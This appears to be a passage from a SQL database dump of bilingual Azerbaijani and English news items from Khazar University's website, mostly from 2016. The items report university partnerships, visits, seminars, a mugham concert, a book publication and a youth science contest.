Macarıstanın Karoly Robert College Universitetinin nümayəndələri\r\niki universitet arasında əməkdaşlıq qurmaq üçün Xəzər Universitetində oldular.\r\nGörüş universitetin “Neftçilər” kampusunda baş tutdu.</p>\r\n<p>Karoly Robert\r\nCollege Universitetinin nümayəndələri Beynəlxalq əlaqələr və Erasmus üzrə\r\nkoordinator Zsuzsanna Busa və Turizm, Regional İnkişaf və Xarici Dillər\r\nİnstitutunun rəhbəri və eyni zamanda, biznes və menecment üzrə tədris\r\nproqramları və beynəlxalq tədbirlər üzrə məsul şəxs Dr. Zoltán Bujdosó idilər. Xəzər Universitetini rektor\r\nDr. Hassan Niknafs, İqtisadiyyat və menecment departamentinin rəhbəri Ceyhun Məmmədov\r\nvə Beynəlxalq əlaqələr şöbəsinin direktoru Turan Cəfərova təmsil edirdilər. Tərəflər\r\nbirgə təlim proqramları və təhsil layihələri, tələbələr, akademik və\r\nadministrativ heyət üçün mübadilə proqramları və ikidərəcəli proqramlar\r\nyaradılmasında öz maraqlarını ifadə etdilər. İlkin olaraq, iqtisadiyyat, biznes\r\nmenecmenti və administrasiyası sahələrində bakalavr və magistr dərəcələri üzrə əməkdaşlığı\r\nbaşlamaq və daha sonra isə bunu digər sahələrdə davam etdirmək qərara alındı. Erasmus+ proqramı çərçivəsində\r\nəməkdaşlıq da müzakirə olundu. Görüşün sonunda əməkdaşlıq müqaviləsi imzalandı.</p>\r\n<p>Qonaqların universitetə səfəri çərçivəsində tələbələr\r\nüçün təqdimat da planlaşdırılmışdı. Dr. Zoltán Bujdosó Karoly Rober College haqqında təqdimat keçirdi və tələbələr\r\nüçün təklif olunan beynəlxalq proqramlardan danışdı. Zsuzsanna Busa Macarıstan\r\nhökuməti tərəfindən 2013-cü ildə yaradılan Stipendium Hungaricum Təqaüd\r\nProqramı çərçivəsində Macarıstanda mövcud olan təqaüd imkanları haqqında məlumat\r\nverdi. Proqramın əsas məqsədi Macarıstana gələn əcnəbi tələbələrin sayını\r\nartırmaq və macar ali təhsil müəssisələrini ən yaxşı əcnəbi tələbələri öz\r\nuniversitetlərinə cəlb etməkdə dəstəkləməkdir. Təqdimat sual-cavab sessiyası ilə\r\nbitdi.</p>'),(1877,1155,'en','Karoly Robert College University Initiates Cooperation with Khazar University ','On May 25, 2016, representatives of Karoly Robert College visited Khazar University to initiate cooperation between the two universities. The meeting took place at Khazar’s Neftchilar campus.','<p>On May 25, 2016,\r\nrepresentatives of Karoly Robert College visited Khazar University to initiate\r\ncooperation between the two universities. The meeting took place at Khazar’s\r\nNeftchilar campus.</p>\r\n<p>Representatives\r\nof the Karoly\r\nRobert College included Ms. Zsuzsanna Busa, International Relations and\r\nInstitutional Erasmus Coordinator, and Dr. Zoltán Bujdosó, Head of the Institute for Tourism, Regional Development\r\nand Foreign Languages, who is also in charge of business and management-related\r\nstudy programmes and international activities. Participants from Khazar\r\nUniversity included Dr. Hassan Niknafs, President; Mr. Jeyhun Mammadov, Head of\r\nthe Economics and Management Department; and Ms. Turan Jafarova, Director of\r\nthe International Affairs Office. The parties expressed interest in developing\r\njoint training programmes and educational projects, mobility activities for students, academic and\r\nnon-academic staff, double-degree programs. They decided to initiate\r\ncooperation in the fields of economics, business management and administration\r\non both bachelor and master levels and gradually extend it to other fields.\r\nCooperation within the Erasmus + Programme was discussed as well. A cooperation\r\nagreement was signed at the end of the meeting. </p>\r\n<p>&nbsp;</p>\r\n<p>A presentation for students was also planned as\r\npart of the visit. Dr. Zoltán Bujdosó\r\nconducted a presentation about Karoly Robert College and spoke about the\r\ninternational programmes offered for students. Ms. Zsuzsanna Busa gave a presentation about scholarship\r\nopportunities in Hungary offered within the framework of the Stipendium Hungaricum Programme, which was\r\nlaunched in 2013 by the Hungarian Government. The core mission of the programme\r\nis to increase the number of foreign students in Hungary and to encourage\r\nHungarian higher education institutions to attract top foreign students. The\r\npresentation ended with a question and answer session.</p>'),(1883,1158,'en','Khazar University Administration Visits Kaspi','On May 27, 2016, Dr. Hasan Niknafs, President of Khazar University; Professor Mahammad Nuriyev, Vice President of Khazar University for Academic Affairs; and Alovsat Amirbeyli, Director for Public Relations and Media visited Kaspi Education Company.','<p>On\r\nMay 27, 2016, Dr. Hasan Niknafs, President of Khazar University; Professor\r\nMahammad Nuriyev, Vice President of Khazar University for Academic Affairs; and\r\nAlovsat Amirbeyli, Director for Public Relations and Media visited Kaspi\r\nEducation Company. They were met by Elnur Aliyev, Company Director; Ali Isgandarov,\r\nDeputy Director; Tural Aliyev, Director of Kaspi School; and others. Prof.\r\nNiknafs gave a presentation about Khazar University. Then Elnur Aliyev spoke\r\nabout the company, its work principles, and its future goals as well as the\r\nKaspi School. </p>\r\n<p>A\r\ndiscussion was held about potential future collaboration. </p>\r\n<p>&nbsp;</p>'),(2442,1479,'az','“Dünya” məktəbində “Yenidən doğan günəş” adlı tədbir həyata keçirildi','2016-cı il oktyabrın 18-də Azərbaycan Respublikasının Dövlət Müstəqilliyi Günü münasibətilə “Dünya” məktəbində “Yenidən doğan günəş” adlı silsilə tədbirlər həyata keçirildi...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">2016-cı il oktyabrın 18-də Azərbaycan\r\nRespublikasının Dövlət Müstəqilliyi Günü münasibətilə “Dünya” məktəbində “Yenidən\r\ndoğan günəş” adlı silsilə tədbirlər həyata keçirildi.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Tədbirlər öncə şagird və müəllimlərin\r\nÜmümmilli Lider Heydər Əliyev muzeyi və Azərbaycan “İstiqlal” muzeyinə\r\nekskursiyaları ilə başlandı. Eyni zamanda, məktəb kitabxanasında xüsusi sərgi və\r\nşagirdlərin əl işlərindən, rəsmlərindən ibarət incəsənət sərgisi nümayiş\r\netdirildi. Radio qovşağından Azərbaycana həsr olunmuş şeirlər və musiqilər səsləndirildi.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Bu tədbirlər sırasında siniflər üzrə dövlət\r\nmüstəqilliyinin 25 illiyinə həsr olunmuş movzularda sinif saatlarının keçirilməsi\r\nxüsusi əhəmiyyət daşıyırdı. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Həftə ərzində keçirilən silsilə tədbirlərin\r\nyekunu olaraq, məktəbin konsert salonunda şagirdlərin və müəllimlərin iştirakı\r\nilə təntənəli tədbir təşkil edildi. Tədbirdə tarixçi müəllimlər Azərbaycanın\r\nyaxın keçmişindən bəhs etdilər və Müstəqillik Gününün tarixindən söhbət açaraq\r\niştirakçıları məlumatlandırdılar. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Məktəbin Azərbaycan, rus, ingilis bölmələrinin\r\nşagirdləri hər üç dildə xalq şairi Səməd Vurğunun “Azərbaycan” şeirini və digər\r\npoeziya nümunələrindən parçalar səsləndirdilər. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Müstəqillik haqqında video-film nümayiş\r\netdirildikdən sonra isə tədbir şagirdlərin milli rəqsi ilə rövnəqləndi.</p>'),(2421,1467,'az','Yunus Əmrə İnstitutu “Xəzər”in tələbələri ilə görüşdü','2016-cı il oktyabrın 20-də Yunus Əmrə İnstitutu Xəzər Universitetin tələbələri ilə görüş keçirdi. Görüşdə tələbələrə institutun gördüyü işlər barədə video çarxlar təqdim olundu...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2016-cı\r\nil oktyabrın 20-də Yunus Əmrə İnstitutu Xəzər Universitetin tələbələri ilə\r\ngörüş keçirdi. Görüşdə tələbələrə institutun gördüyü işlər barədə video çarxlar\r\ntəqdim olundu, Türkiyədə təhsil almaq arzusunda olan tələbələr üçün türk dili\r\nkurslarının təşkil olunması, türk ədəbiyyatının ən böyük şair və yazıçılarından\r\nbiri olan Ə.H.Tanpınar haqqında “Əhməd Hamdi Tanpınarı kəşf edirəm” devizi\r\naltında keçiriləcək məqalə-esse yarışması haqqında geniş məlumat verildi.\r\nİnstitutun gördüyü işlər və təqdim etdiyi proqramlar tələbələrin dərin marağına\r\nsəbəb oldu. Sonda Azərbaycan dili və ədəbiyyat departamentinin rəhbəri dosent\r\nVurğun Əyyub təqdimat və təkliflərə görə qonaqlara təşəkkür etdi, tələbələri\r\ndil kurslarında və Ə.H.Tanpınarla bağlı yarışmada iştirak etməyə çağırdı.</p>'),(2422,1467,'en','Yunus Emre Institute Meeting with Khazar Students ','On October 20, 2016, representatives of the Yunus Emre Institute met with Khazar University students. Students watched a video about the Institute...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">On\r\nOctober 20, 2016, representatives of the Yunus Emre Institute met with Khazar\r\nUniversity students. Students watched a video about the Institute and were\r\ngiven information about Turkish classes for students wishing to study in Turkey\r\nas well as the upcoming “Discover Ahmet Hamdi Tanpinar” essay competition\r\ndedicated to the great Turkish poet and writer. The students demonstrated\r\ninterest in the activities and programs of the Institute. At the end of the\r\nevent Associate Professor Vurghun Eyyub, Chair of the Azerbaijani Language and\r\nLiterature Department, thanked the guests for their presentation and encouraged\r\nthe students to participate in the language classes and the Ahmet Hamdi\r\nTanpinar writing contest.&nbsp;</p>'),(2452,1484,'az','“Xəzər”in müəllimi “Ədəbiyyat qəzeti”nin müzakirə saatına qoşuldu','2016-cı il oktyabrın 20-də Xəzər Universitetinin Azərbaycan dili və ədəbiyyat departamentinin müəllimi dosent Dilbər Zeynalova “Ədəbiyyat qəzeti”nin mükazirə saatına qoşulmuşdur...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2016-cı\r\nil oktyabrın 20-də Xəzər Universitetinin Azərbaycan dili və ədəbiyyat\r\ndepartamentinin müəllimi dosent Dilbər Zeynalova “Ədəbiyyat qəzeti”nin mükazirə\r\nsaatına qoşulmuşdur. Burada Çağdaş Azərbaycan ədəbiyyatşünaslığının nəzəri-metodoloji\r\nproblemləri, Azərbaycan ədəbi-estetik fikrin inkişafının əsas istiqamətlərini&nbsp;\r\nmüəyyənləşdirən ədəbiyyatşünaslıq konsepsiyaları, eləcə də, rus ədəbiyyatşünaslığının\r\nAzərbaycan ədəbiyyatşünaslığına elmi-nəzəri fikir vasitəsilə təsir mexanizmi,\r\ndünya ədəbiyyatnın Azərbaycan ədəbiyyatına təsiri və b. mövzular ətrafında elmi\r\nmüzakirə etmişlər. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Bütövlükdə\r\nyazı ilə bu link vasitəsilə tanış olmaq olar:</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://kulis.lent.az/news/16305\">http://kulis.lent.az/news/16305</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://www.kulis.az/news/16343\">http://www.kulis.az/news/16343</a>.</p>'),(2423,1262,'en','Expert Opinions on Azerbaijani Applications of Bologna System on Hafta.az Website','On July 22, 2016, an article by Sevinj entitled “The Bologna Process and Azerbaijani Education” was published on the hafta.az website of the Hafta Ichi (Work Week) Newspaper...','<p>On July 22, 2016, an article by Sevinj entitled “The Bologna\r\nProcess and Azerbaijani Education” was published on the hafta.az website of the\r\nHafta Ichi (Work Week) Newspaper. The article included the opinions of expert\r\neducators Professor Hamlet Isaxanli, the founder of Khazar University and\r\nChairman of its Board of Directors and Trustees, and Professor Ajdar Aghayev,\r\nChairman of the Azerbaijan Board of Education. </p>\r\n<p>The full text of the article is available at the following\r\nlink: <a href=\"http://hafta.az/index2.php?m=yazi&amp;id=182737\">http://hafta.az/index2.php?m=yazi&amp;id=182737</a></p>'),(2424,1261,'en','Azerbaijan Board of Education Names Khazar University as Example','On July 22, 2016, nezermedia.az published an article entitled “Do we want an honors diploma, or to be educated?” In the analytical article, experts gave their opinions...','<p>On July 22, 2016, nezermedia.az published an article\r\nentitled “Do we want an honors diploma, or to be educated?” In the analytical\r\narticle, experts gave their opinions about the education system. Professor\r\nAjdar Aghayev, Chairman of the Azerbaijan Board of Education, explained his\r\nviews on several educational issues and named Khazar University as a “globally\r\ndistinguished” example university. </p>\r\n<p>The full text of the article is available at the following\r\nlink: <a href=\"http://nezermedia.az/cemiyyet/17188-biz-qirmizi-diplomlu-yoxsa-savadli-olmaq-ucun-oxuyuruq\">http://nezermedia.az/cemiyyet/17188-biz-qirmizi-diplomlu-yoxsa-savadli-olmaq-ucun-oxuyuruq</a>.&nbsp;</p>'),(2425,1287,'en','Khazar University Dance Collective in Arhavi Festival ','The Khazar Dance Collective, an ensemble made up of young men and women, will participate in the 44th International Arhavi Festival upon invitation of the Arhavi...','<p>The Khazar Dance Collective, an ensemble made up of young\r\nmen and women, will participate in the 44<sup>th</sup> International Arhavi\r\nFestival upon invitation of the Arhavi District Administration in Turkey. They\r\nwill leave Baku on August 22, 2016 to travel to the festival, where they will\r\nrepresent Azerbaijan.&nbsp;</p>'),(2369,1439,'az','KİM-nin əməkdaşı BDU-da seminarda iştirak etdi','2016-cı il oktyabrın 18-də Bakı Dövlət Universitetində “Wiley” onlayn kitabxana platformasından istifadə qaydaları”na həsr olunmuş seminar keçirildi...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">2016-cı il oktyabrın 18-də Bakı Dövlət Universitetində “Wiley” onlayn\r\nkitabxana platformasından istifadə qaydaları”na həsr olunmuş seminar keçirildi.\r\n“Wiley”in Türkiyə, Azərbaycan, Özbəkistan üzrə satış meneceri Duygu Pacalının məruzələri\r\ndinlənildi. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Seminarda Xəzər Universitetini KİM-nin Elektron informasiya xidmətləri\r\nbölməsinin müdiri Səidə Orucova təmsil edirdi.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Görüşdə “Azərbaycan elmi dünya çapında”, “Azərbaycan elminə “Wiley” tərəfindən\r\nbaxış”, “Wiley” onlayn kitabxana platformasından istifadə qaydaları”, əməkdaşlıq\r\nəlaqələrinin perspektivləri kimi mövzular müzakirə edildi.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Sonda iştirakçıların sualları cavablandırıldı.&nbsp;</p>'),(2370,1440,'az','Amerikalı ifaçı Ceffri Verbokun “Xəzər”də solo konserti','2016-cı il oktyabrın 17-də Xəzər Universitetinin  Mərmər salonunda  Amerika Muğam Cəmiyyətinin sədri, tanımış musiqiçi Ceffri Verbokun solo konserti oldu...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">2016-cı il oktyabrın 17-də Xəzər\r\nUniversitetinin&nbsp; Mərmər salonunda&nbsp; Amerika Muğam Cəmiyyətinin sədri, tanımış\r\nmusiqiçi Ceffri Verbokun solo konserti oldu. Konsertdə universitetin rəhbərliyi,\r\nmüəllim və tələbələr iştirak edirdilər.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Universitetin Musiqi və incəsənət departamentinin\r\nmüdiri, dosent Zülfiyyə Sadıqova Ceffri Verbokun həyat və yaradıcılığı, bir neçə\r\nmilli musiqi alətimizdə ifa etməklə muğamlarımızın xarici&nbsp;ölkələrdə təbliği sahəsindəki\r\nfəaliyyəti haqqında məlumat verdi.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Ceffri Verbok tar və kamançada Azərbaycan\r\nmüğamlarını ifa etdi və iştirakçıların suallarını cavablandırdı. Xəzər\r\nUniversitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor\r\nHamlet İsaxanlı maraqlı konsertə görə Ceffri Verboka təşəkkürünü bildirdi və\r\nona sertifikat təqdim etdi.</p>'),(2371,1439,'en','Librarian Participates at BSU Seminar','On October 18, 2016, Baku State University hosted a seminar on how to use the Wiley online library platform. The seminar was taught by Duygu Pacali...','<p>On October 18, 2016, Baku State\r\nUniversity hosted a seminar on how to use the Wiley online library platform.\r\nThe seminar was taught by Duygu Pacali, Wiley sales manager for Turkey,\r\nAzerbaijan and Uzbekistan. </p>\r\n<p>Saida Orujova, Head of the Electronic\r\nInformation Services Division of the Khazar University Library Information\r\nCenter, represented Khazar at the event. </p>\r\n<p>The seminar included discussions on\r\ntopics such as “Azerbaijan in Publications of the Academic World,” “Azerbaijani\r\nScholarship from the Perspective of Wiley,” and “How to Use the Wiley Online\r\nLibrary Platform.” Then participants’ questions were answered.&nbsp;</p>'),(2372,1430,'en','Khazar University Dean Holds Meeting in Public School ','On October 14, 2016, Dr. Elza Semedli, Dean of the School of Education, visited School number 232 by the invitation of Mahluga Azizova...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">On October 14, 2016, Dr. Elza\r\nSemedli, Dean of the School of Education, visited School number 232 by the\r\ninvitation of Mahluga Azizova, who has newly been appointed Director of the\r\nschool and who graduated from the course for Potential School Directors at\r\nKhazar University. Dr. Semedli met with teachers and parents of the school as\r\npart of the “School/University Partnership” project. The objective of the\r\nmeeting was to increase parents’ awareness of the new curriculum system and\r\nhelp teachers with areas in which they needed extra assistance. Parents’\r\nquestions (specifically about assessment) were answered at the meeting, and it\r\nwas noted that teachers play a major role in solving problems. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">After the meeting Dr. Semedli also met\r\nseparately with teachers to discuss areas of interest to them.&nbsp;</p>'),(2373,1440,'en','Solo Concert by American Performer Jeffrey Werbock at Khazar ','On October 17, 2016, a solo concert was performed in Khazar University’s Marble Hall by Jeffrey Werbock, Chairman of American Mugham Society and well-known musician...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:22.3pt;line-height:normal\"\"=\"\">On\r\nOctober 17, 2016, a solo concert was performed in Khazar University’s Marble\r\nHall by Jeffrey Werbock, Chairman of American Mugham Society and well-known\r\nmusician. University faculty, staff and students attended the concert. </p>\r\n<p>Associate Professor Zulfiyya Sadigova, Head\r\nof the Department of Music and Fine Arts, introduced Mr. Werbock with\r\ninformation about his life and works, including the various musical instruments\r\nhe plays to promote mugham in foreign countries. </p>\r\n<p>Then Jeffrey Werbock performed\r\nAzerbaijani mugham on tar and kamancha, and he answered the audience’s\r\nquestions. Professor Hamlet\r\nIsaxanli, the founder of Khazar University and Chairman of its Board of\r\nDirectors and Trustees, thanked Mr. Werbock for the interesting concert and\r\npresented him a certificate on behalf of the university.&nbsp;</p>'),(2374,1441,'az','AOŞAM-ın direktoru Məşhəddə iki beynəlxalq elmi tədbirlərdə iştirak etdi','2016-cı il oktyabrın 15-dən və 18-dək Xəzər Universiteti Avrasiya və Orta Şərq Araşdırmaları Mərkəzinin direktoru Fərda Əsədov İran İslam Respublikasında keçirilmiş...','<p>2016-cı il oktyabrın 15-dən və 18-dək Xəzər\r\nUniversiteti Avrasiya və Orta Şərq Araşdırmaları Mərkəzinin direktoru Fərda Əsədov\r\nİran İslam Respublikasında keçirilmiş iki beynəlxalq tədbirlərdə iştirak\r\netmişdir. Fərda Əsədov UNESCO-nun Mərkəzi Asiya Araşdırmaları İnstitutnun Elmi\r\nŞurasının iclasında Azərbaycanı təmsil etmişdir. Bu iclas münasibətilə Məşhəd\r\nFirdovsi Universiteti “İpək Yolu”nun tarixi və mədəniyyət mühitininə təsirinə həsr\r\nedilmiş beynəxalq konfrans təşkil etmişdir. Konfransda Fərda Əsədov ərəb\r\ncoğrafiyaçısı İbn əl-Fəqihin Məşhəddə aşkar edilmiş əlyazmasının öyrənilməsi\r\nhaqqında məruzə ilə çıxış etmişdir. Elmi proqram daxilində Məşhədin Astane Quds\r\nRəzavi dini, elmi və mədəni kompleksinə ziyarət təşkil edilmiş, Tus şəhərində\r\ndahi şair Firdovsinin məqbərəsinə səfər edilmişdir.&nbsp;</p>'),(2375,1442,'az','AOŞAM-ın direktoru AB-nin İSSİCEU layihəsi konsorsiumun görüşündə iştirak etdi','2016-cı il oktyabrın 14-ü və 15-də Avrasiya və Orta Şərq Araşdırmaları Mərkəzinin (AOŞAM) direktoru Fərda Əsədov Avropa Komissiyasının Qafqazda Avropa...','<p>2016-cı il oktyabrın 14-ü və 15-də Avrasiya və Orta\r\nŞərq Araşdırmaları Mərkəzinin (AOŞAM) direktoru Fərda Əsədov Avropa\r\nKomissiyasının Qafqazda Avropa siyasətini tədqiq edən İSSİCEU layihəsinin\r\nTbilisidə keçirilmiş beynəlxalq görüşündə iştirak etdi. Görüşdə layihə\r\nkonsorsiumun Almaniya, İsveçrə, Rusiya, Gürcüstan və Türkiyə universitetlərinin\r\ntədqiqat mərkəzləri keçirilmiş tədiqatların nəticələrini təqdim etdilər. </p>\r\n<p>Xəzər Univesitetinin tədqiqatları haqqında Fərda Əsədov\r\nməruzə etdi. O, layihə cərçivəsində sosioloju sorğu nəticələrinin əldə edilməsini,\r\nelmi araşdırma yazıların təqdim edilməsini, Qafqazda sabitlik yaradan amillərin\r\ninkişafına dair Avropa siyasəti üçün tövsiyə paketinin hazırlanmasını layihənin\r\nuğur göstəriciləriləri kimi qeyd etdi. Xəzər Universitetinin uğurları\r\nkonsorsium rəhbərliyi və üzvləri tərəfindən yüksək qiymətləndirildi.&nbsp;</p>'),(2382,1445,'az','Xəzər Universitetinin əməkdaşının kitabı Almaniyada nəşr olundu','2016-cı il oktyabrın 19-da Xəzər Universitetinin əməkdaşı və doktorantı Validə Kərimovanın “Metaphor in Political Discourse” (ISBN 978-3-659-97239-3) adlı ilk kitabı...','<p>2016-cı il oktyabrın 19-da Xəzər Universitetinin əməkdaşı\r\nvə doktorantı Validə Kərimovanın <em>“Metaphor\r\nin Political Discourse”</em> (ISBN 978-3-659-97239-3) adlı ilk kitabı Almaniyanın Saarbrücken şəhərində – LAMBERT Akademik Nəşriyyat evindən gələn təkliflə çap edilmişdir (OmniScriptum GmbH &amp; Co. KG – <a href=\"http://www.lap-publishing.com/\">www.lap-publishing.com</a>). Dünyanın 40-dan çox ölkəsində rəsmi yayımı və\r\ndistributoru, həmçinin 150.000 yazarı olan LAMBERT Akademik Nəşriyyat Evi Xəzər Universitetinin saytında və\r\njurnalında V.Kərimovabın çap etdiyi <em>“The\r\nEnglish Language for Global Communication: Perspective of Youth”</em>\r\n(No. 348, March 2016, pp. 70\\ ISSN 2218-2772, <a href=\"http://khazar-review.khazar.org/\">http://khazar-review.khazar.org/</a>) adlı məqaləsini bəyənmiş və onlarla birgə əməkdaşlıq\r\ntəklif etmişdir. </p>\r\n<p>Kitab artıq Almaniyanın Frankfurt şəhərində kitab sərgisinə\r\ndə daxil edilmişdir. Kitabda metaforanın liqvistik təbiətinin əsas anlayışları,\r\nsiyasi diskurs siyasi dilçiliyin predmeti kimi, ingilis dilində metaforanın\r\nidrak baxımından araşdırılması, mediada metaforanın siyasi ifadəsi, metaforanın\r\ntəkcə siyasi deyl həm də linqvistik xüsusiyyəti və təbiətindən, siyasi ifadənin\r\nxüsusiyyətlərindən və s. geniş bəhs edilmişdir.&nbsp;</p><p><a href=\"https://www.ljubljuknigi.ru/store/ru/book/metaphor-in-political-discourse/isbn/978-3-659-97239-3\">https://www.ljubljuknigi.ru/store/ru/book/metaphor-in-political-discourse/isbn/978-3-659-97239-3</a>\r\n<o:p></o:p></p> <p><br></p>'),(2383,1445,'en','Assistant to Dean Publishes Book in Germany','On October 19, 2016, Valida Karimova, Assistant to the Dean of Humanities and Social Sciences at Khazar University, published her book entitled...','<p>On\r\nOctober 19, 2016, Valida Karimova, Assistant to the Dean of Humanities and\r\nSocial Sciences at Khazar University, published her book entitled “Metaphor in\r\nPolitical Discourse” (ISBN 978-3-659-97239-3) through Lambert Academic\r\nPublishing in Saarbrücken, Germany. Lambert Academic Publishing, which covers\r\n40 countries and150,000 writers, suggested publication when they saw Karimova’s\r\narticle on <strong><em>“The English Language for Global Communication: Perspective of\r\nYouth”</em></strong> (No. 348, March 2016, pp. 70\\ ISSN 2218-2772, <a href=\"http://khazar-review.khazar.org/\">http://khazar-review.khazar.org/</a>)\r\nin the Khazar Review journal. </p>\r\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The book\r\n“Metaphor in Political Discourse” was published in two languages and contains\r\n53 pages. The book discusses main concepts of the linguistic aspects of\r\nmetaphor, its use as a subject in political discourse, research on metaphor in\r\nEnglish language, its political expression in media, and other characteristics\r\nof metaphor and political expression. The book was also included in a book fair\r\nin Frankfurt.</p><p><a href=\"https://www.ljubljuknigi.ru/store/ru/book/metaphor-in-political-discourse/isbn/978-3-659-97239-3\">https://www.ljubljuknigi.ru/store/ru/book/metaphor-in-political-discourse/isbn/978-3-659-97239-3</a><o:p></o:p></p> <p><br></p>'),(2387,1447,'en','Midterm Exam Schedule (Fall 2018)  ','Midterm Exam Schedule (Fall 2018)  ','<a href=\"http://www.khazar.org/files/education/Mid-terms%20exams1(Fall)18-19.xlsx\">Midterm exam schedule&nbsp;(Fall 2018)</a>'),(2388,1448,'az','Final imtahanının cədvəli (Payız 2017)','Final imtahanının cədvəli (Payız 2017)',''),(2389,1448,'en','Final Exam Schedule (Fall 2017)   ','Final Exam Schedule (Fall 2017)   ',''),(2390,1449,'az','Tarix dərslərində Dövlət müstəqilliyinin bərpa olunması xatırlandı','2016-cı il oktyabrın 18-də “Azərbaycan tarixi” dərslərində Azərbaycan Respublikasının Dövlət Müstəqilliyinin bərpa olunmasının 25-ci ildönümü qeyd edilmişdir...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">2016-cı il oktyabrın 18-də “Azərbaycan tarixi” dərslərində Azərbaycan\r\nRespublikasının Dövlət Müstəqilliyinin bərpa olunmasının 25-ci ildönümü qeyd\r\nedilmişdir. Dövlət müstəqilliyinin bərpa olunmasında və qorunub saxlanmasında\r\npayı olan və bu yolda həyatını qurban verən bütün şəhidlər yad edilmişdir.&nbsp;</p>'),(2391,1450,'az','Gənclər Fondunun dəstəyi ilə intellektual müsabiqə keçiriləcək','2016-cı ilin dekabrında Azərbaycan Respublikası Prezidenti yanında Gənclər Fondunun dəstəyi ilə təşkil olunan “Elm şənliyi” layihəsi çərçivəsində Qədim Şərqin tarixi, coğrafiyası...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal;background:white\"\"=\"\">2016-cı ilin dekabrında\r\nAzərbaycan Respublikası Prezidenti yanında Gənclər Fondunun dəstəyi ilə təşkil olunan\r\n“Elm şənliyi” layihəsi çərçivəsində Qədim Şərqin tarixi, coğrafiyası,\r\nmədəniyyəti və ədəbiyyatı üzrə intellektual müsabiqə keçiriləcək. Azərbaycan\r\ngənclərində milli irsə və dünya tarixinə marağın formalaşdırılmasına, həmçinin,\r\nelmin populyar formada cəmiyyətdə təbliğinə xidmət edən müsabiqə Azərbaycan\r\nMilli Elmlər Akademiyasının Arxeologiya və Etnoqrafiya İnstitutu, Xəzər\r\nUniversitetinin Tarix və arxeologiya departamenti və Azərbaycan Arxeoloqlar\r\nCəmiyyəti tərəfindən elmi cəhətdən dəstəklənmişdir.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal;background:white\"\"=\"\">Qaliblər dəyərli və xüsusi\r\nhədiyyələr, diplom və sertifikatlarla mükafatlandırılacaq. Müsabiqənin dəqiq\r\nvaxtı və keçirilmə məkanı barədə məlumat veriləcək. Müsabiqənin şərtləri barədə\r\nməlumatla <em>Facebook</em> sosial şəbəkəsindəki\r\nElm Şənliyi/<em>Science Party</em> səhifəsində\r\ntanış olmaq mümkündür:</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal;background:white\"\"=\"\"><a href=\"https://www.facebook.com/scienceparty2016/?fref=ts\">https://www.facebook.com/scienceparty2016/</a></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:0%;background:white\"\"=\"\">scienceparty2016@gmail.com</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal;background:white\"\"=\"\">Maraqlananlar bu nömrəyə\r\nzəng edə bilərlər: (055) 854 41 65.</p>'),(2392,1451,'az','CEFAM: Fransa-Amerika Biznes Məktəbi ilə ikinci görüş keçirildi','2016-cı il oktyabrın 19-da Fransa-Amerika Biznes Məktəbinin nümayəndələri ilə Xəzər Universitetinin “Neftçilər” kampusunda görüş keçirildi...','<p>2016-cı il oktyabrın 19-da Fransa-Amerika Biznes Məktəbinin\r\nnümayəndələri ilə Xəzər Universitetinin “Neftçilər” kampusunda görüş keçirildi.\r\n</p>\r\n<p>Görüş\r\nötəndərsilininsonundabaşlayan\r\nəməkdaşlağındavamı 